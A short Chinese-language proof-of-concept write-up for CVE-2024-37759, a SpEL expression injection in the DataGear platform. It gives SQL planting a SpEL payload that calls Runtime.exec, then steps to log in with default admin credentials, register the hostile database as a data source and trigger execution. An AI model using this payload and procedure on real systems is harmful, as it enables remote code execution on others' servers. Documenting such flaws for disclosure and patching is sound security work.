问题描述
CVE-2024-37759是DataGear数据可视化分析平台中的一个安全漏洞,涉及SpEL(Spring Expression Language)表达式注入。该漏洞可能允许攻击者通过构造恶意表达式,在服务器端执行任意代码,从而导致严重的安全风险。
poc
准备恶意数据库表
CREATE DATABASE evil;
CREATE TABLE `evil` (
`name` varchar(209) COLLATE utf8mb4_unicode_ci DEFAULT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;
INSERT INTO `evil` VALUES ("#{T(java.lang.String).forName('java.lang.Runtime').getRuntime().exec('calc')}");
第二步:添加恶意数据库源
-
- 登录 http://localhost:50401,默认账号密码为 admin/admin。
-
- 在架构添加界面中添加此 MySQL 数据库:
/schema/saveAdd
。
- 在架构添加界面中添加此 MySQL 数据库:
-
- 选择"数据源"—"数据源添加",填写刚才创建的恶意数据库地址。
第三步:触发漏洞执行代码
打开刚才添加的数据库,然后单击"查看"按钮,将执行 SpEL 表达式。
漏洞脚本
GitHub - crumbledwall/CVE-2024-37759_PoC: PoC of CVE-2024-37759